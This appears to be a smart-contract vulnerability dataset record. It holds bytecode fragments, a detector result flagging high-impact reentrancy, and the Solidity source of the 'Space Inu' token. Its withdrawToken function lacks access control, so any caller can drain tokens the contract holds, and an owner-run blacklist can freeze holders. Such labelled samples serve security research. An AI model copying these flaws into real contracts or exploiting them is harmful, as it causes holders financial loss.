06014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611461565b600081848411156112135760405162461bcd60e51b81526004016106279190611a1a565b5060006112208486611cbe565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461148f565b90506112e083826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c61565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac9190611cd5565b816001815181106113bf576113bf611c61565b6001600160a01b0392831660209182029290920101526014546113e59130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141e908590600090869030904290600401611cf2565b600060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146e5761146e6114f4565b611479848484611522565b80610a7057610a70600e54600c55600f54600d55565b600080600061149c611619565b90925090506114ab82826114b2565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611659565b600c541580156115045750600d54155b1561150b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153487611687565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156690876116e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115959086611726565b6001600160a01b0389166000908152600260205260409020556115b781611785565b6115c184836117cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160691815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061163482826114b2565b8210156116505750506006549267016345785d8a000092509050565b90939092509050565b6000818361167a5760405162461bcd60e51b81526004016106279190611a1a565b5060006112208486611d63565b60008060008060008060008060006116a48a600c54600d546117f3565b92509250925060006116b461148f565b905060008060006116c78e878787611848565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117338385611ca6565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061178f61148f565b9050600061179d8383611898565b306000908152600260205260409020549091506117ba9082611726565b30600090815260026020526040902055505050565b6006546117dc90836116e4565b6006556007546117ec9082611726565b6007555050565b600080808061180d60646118078989611898565b906114b2565b9050600061182060646118078a89611898565b90506000611838826118328b866116e4565b906116e4565b9992985090965090945050505050565b60008080806118578886611898565b905060006118658887611898565b905060006118738888611898565b905060006118858261183286866116e4565b939b939a50919850919650505050505050565b6000826000036118aa575060006106ad565b60006118b68385611d85565b9050826118c38583611d63565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195081611930565b919050565b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661191a565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61191a565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff85611945565b845293850193928501926119ee565b98975050505050505050565b600060208083528351808285015260005b81811015611a4757858101830151858201604001528201611a2b565b81811115611a59576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8257600080fd5b8235611a8d81611930565b946020939093013593505050565b600080600060608486031215611ab057600080fd5b8335611abb81611930565b92506020840135611acb81611930565b929592945050506040919091013590565b600060208284031215611aee57600080fd5b81356112e081611930565b8035801515811461195057600080fd5b600060208284031215611b1b57600080fd5b6112e082611af9565b600060208284031215611b3657600080fd5b5035919050565b60008060008060808587031215611b5357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8457600080fd5b833567ffffffffffffffff80821115611b9c57600080fd5b818601915086601f830112611bb057600080fd5b813581811115611bbf57600080fd5b8760208260051b8501011115611bd457600080fd5b602092830195509350611bea9186019050611af9565b90509250925092565b60008060408385031215611c0657600080fd5b8235611c1181611930565b91506020830135611c2181611930565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9f57611c9f611c77565b5060010190565b60008219821115611cb957611cb9611c77565b500190565b600082821015611cd057611cd0611c77565b500390565b600060208284031215611ce757600080fd5b81516112e081611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d425784516001600160a01b031683529383019391830191600101611d1d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9f57611d9f611c77565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bfcfa077f36cdcaceeee022a699880ae6ca2dac59fd55a9fec4e6a267e53ff264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,548
0x009845cb89f991c6bbab7deb807ffe6e39170b4b
/** *Submitted for verification at Etherscan.io on 2022-01-22 */ /** */ /** * Space Inu on a moon mission,a community driven space token. * 2% reflection fee,4% marketing fee * check the website and litepaper for more details. * Website: https://www.space-inu.com * Telegram: https://t.me/spaceinutoken * Twitter: https://twitter.com/spaceinu3 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SpaceInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Space Inu"; string private constant _symbol = 'SIT'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) public { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function withdrawToken (address tokenAddress) public { IERC20 token = IERC20(tokenAddress); uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610400578063c3c8cd80146104b0578063c9567bf9146104c5578063d543dbeb146104da578063dd62ed3e146105045761011f565b8063715018a614610339578063894760691461034e5780638da5cb5b1461038157806395d89b41146103b2578063a9059cbb146103c75761011f565b8063273123b7116100e7578063273123b714610265578063313ce5671461029a5780635932ead1146102c55780636fc3eaec146102f157806370a08231146103065761011f565b806306fdde0314610124578063095ea7b3146101ae57806318160ddd146101fb57806323b872dd146102225761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061013961053f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ba57600080fd5b506101e7600480360360408110156101d157600080fd5b506001600160a01b038135169060200135610562565b604080519115158252519081900360200190f35b34801561020757600080fd5b50610210610580565b60408051918252519081900360200190f35b34801561022e57600080fd5b506101e76004803603606081101561024557600080fd5b506001600160a01b0381358116916020810135909116906040013561058d565b34801561027157600080fd5b506102986004803603602081101561028857600080fd5b50356001600160a01b0316610614565b005b3480156102a657600080fd5b506102af61068d565b6040805160ff9092168252519081900360200190f35b3480156102d157600080fd5b50610298600480360360208110156102e857600080fd5b50351515610692565b3480156102fd57600080fd5b50610298610708565b34801561031257600080fd5b506102106004803603602081101561032957600080fd5b50356001600160a01b031661073c565b34801561034557600080fd5b506102986107a6565b34801561035a57600080fd5b506102986004803603602081101561037157600080fd5b50356001600160a01b0316610848565b34801561038d57600080fd5b50610396610943565b604080516001600160a01b039092168252519081900360200190f35b3480156103be57600080fd5b50610139610952565b3480156103d357600080fd5b506101e7600480360360408110156103ea57600080fd5b506001600160a01b03813516906020013561096f565b34801561040c57600080fd5b506102986004803603602081101561042357600080fd5b81019060208101813564010000000081111561043e57600080fd5b82018360208201111561045057600080fd5b8035906020019184602083028401116401000000008311171561047257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610983945050505050565b3480156104bc57600080fd5b50610298610a37565b3480156104d157600080fd5b50610298610a74565b3480156104e657600080fd5b50610298600480360360208110156104fd57600080fd5b5035610e68565b34801561051057600080fd5b506102106004803603604081101561052757600080fd5b506001600160a01b0381358116916020013516610f6d565b604080518082019091526009815268537061636520496e7560b81b602082015290565b600061057661056f610f98565b8484610f9c565b5060015b92915050565b68056bc75e2d6310000090565b600061059a848484611088565b61060a846105a6610f98565b610605856040518060600160405280602881526020016120b4602891396001600160a01b038a166000908152600460205260408120906105e4610f98565b6001600160a01b03168152602081019190915260400160002054919061145e565b610f9c565b5060019392505050565b61061c610f98565b6000546001600160a01b0390811691161461066c576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b61069a610f98565b6000546001600160a01b039081169116146106ea576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b031661071c610f98565b6001600160a01b03161461072f57600080fd5b47610739816114f5565b50565b6001600160a01b03811660009081526006602052604081205460ff161561077c57506001600160a01b0381166000908152600360205260409020546107a1565b6001600160a01b03821660009081526002602052604090205461079e9061152f565b90505b919050565b6107ae610f98565b6000546001600160a01b039081169116146107fe576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b604080516370a0823160e01b8152306004820152905182916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561089357600080fd5b505afa1580156108a7573d6000803e3d6000fd5b505050506040513d60208110156108bd57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b15801561091257600080fd5b505af1158015610926573d6000803e3d6000fd5b505050506040513d602081101561093c57600080fd5b5050505050565b6000546001600160a01b031690565b60408051808201909152600381526214d25560ea1b602082015290565b600061057661097c610f98565b8484611088565b61098b610f98565b6000546001600160a01b039081169116146109db576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b60005b8151811015610a33576001600760008484815181106109f957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016109de565b5050565b6010546001600160a01b0316610a4b610f98565b6001600160a01b031614610a5e57600080fd5b6000610a693061073c565b90506107398161158f565b610a7c610f98565b6000546001600160a01b03908116911614610acc576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b601254600160a01b900460ff1615610b2b576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b749030906001600160a01b031668056bc75e2d63100000610f9c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bad57600080fd5b505afa158015610bc1573d6000803e3d6000fd5b505050506040513d6020811015610bd757600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c2757600080fd5b505afa158015610c3b573d6000803e3d6000fd5b505050506040513d6020811015610c5157600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610ca357600080fd5b505af1158015610cb7573d6000803e3d6000fd5b505050506040513d6020811015610ccd57600080fd5b5051601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610cff8161073c565b600080610d0a610943565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d7557600080fd5b505af1158015610d89573d6000803e3d6000fd5b50505050506040513d6060811015610da057600080fd5b505060128054670de0b6b3a764000060135560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556011546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d6020811015610e6357600080fd5b505050565b610e70610f98565b6000546001600160a01b03908116911614610ec0576040805162461bcd60e51b815260206004820181905260248201526000805160206120dc833981519152604482015290519081900360640190fd5b60008111610f15576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610f336064610f2d68056bc75e2d631000008461175d565b906117b6565b601381905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610fe15760405162461bcd60e51b815260040180806020018281038252602481526020018061214a6024913960400191505060405180910390fd5b6001600160a01b0382166110265760405162461bcd60e51b81526004018080602001828103825260228152602001806120716022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110cd5760405162461bcd60e51b81526004018080602001828103825260258152602001806121256025913960400191505060405180910390fd5b6001600160a01b0382166111125760405162461bcd60e51b81526004018080602001828103825260238152602001806120246023913960400191505060405180910390fd5b600081116111515760405162461bcd60e51b81526004018080602001828103825260298152602001806120fc6029913960400191505060405180910390fd5b611159610943565b6001600160a01b0316836001600160a01b031614158015611193575061117d610943565b6001600160a01b0316826001600160a01b031614155b1561140157601254600160b81b900460ff161561128d576001600160a01b03831630148015906111cc57506001600160a01b0382163014155b80156111e657506011546001600160a01b03848116911614155b801561120057506011546001600160a01b03838116911614155b1561128d576011546001600160a01b0316611219610f98565b6001600160a01b0316148061124857506012546001600160a01b031661123d610f98565b6001600160a01b0316145b61128d576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60135481111561129c57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156112de57506001600160a01b03821660009081526007602052604090205460ff16155b6112e757600080fd5b6012546001600160a01b03848116911614801561131257506011546001600160a01b03838116911614155b801561133757506001600160a01b03821660009081526005602052604090205460ff16155b801561134c5750601254600160b81b900460ff165b15611394576001600160a01b038216600090815260086020526040902054421161137557600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061139f3061073c565b601254909150600160a81b900460ff161580156113ca57506012546001600160a01b03858116911614155b80156113df5750601254600160b01b900460ff165b156113ff576113ed8161158f565b4780156113fd576113fd476114f5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061144357506001600160a01b03831660009081526005602052604090205460ff165b1561144c575060005b611458848484846117f8565b50505050565b600081848411156114ed5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114b257818101518382015260200161149a565b50505050905090810190601f1680156114df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a33573d6000803e3d6000fd5b6000600a548211156115725760405162461bcd60e51b815260040180806020018281038252602a815260200180612047602a913960400191505060405180910390fd5b600061157c611914565b905061158883826117b6565b9392505050565b6012805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106115d057fe5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561162457600080fd5b505afa158015611638573d6000803e3d6000fd5b505050506040513d602081101561164e57600080fd5b505181518290600190811061165f57fe5b6001600160a01b0392831660209182029290920101526011546116859130911684610f9c565b60115460405163791ac94760e01